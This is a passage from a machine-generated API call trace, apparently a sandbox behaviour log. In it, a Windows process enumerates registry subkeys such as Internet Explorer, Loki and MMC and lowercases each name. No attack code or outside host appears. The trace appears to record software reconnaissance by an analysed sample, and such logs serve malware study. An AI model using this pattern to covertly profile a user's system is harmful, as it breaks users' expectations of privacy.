dwIndex=0x22, lpName=0x3eb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.485] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x3eb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x3ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.485] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.485] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.485] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.485] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x3eb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x3ec120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.485] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.485] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.485] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.485] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x3eb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x3ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0026.485] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.486] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x3eb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.486] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x3eb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.486] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x3eb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.486] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.486] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x3eb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.486] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x3ec0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.487] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x3eb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x3ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.487] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x3eb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.487] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x3eb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x3ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.487] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.487] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x3eb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.487] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.488] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x3eb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x3ec120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.488] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x3eb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x3ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.488] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x3eb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x3ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.488] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.488] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x3eb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0026.488] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.489] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0026.489] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.489] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.489] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.489] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.489] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x3eb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0026.489] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.489] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x3ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0026.489] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x3eb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x3ec0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0026.489] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x3eb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0026.489] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x3eb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x3ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0026.489] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x3eb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x3ec120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0026.489] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x3eb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0026.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x3ec0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x3eb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x3ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x3eb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x3ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x3eb930, cchName=0x104 | out: 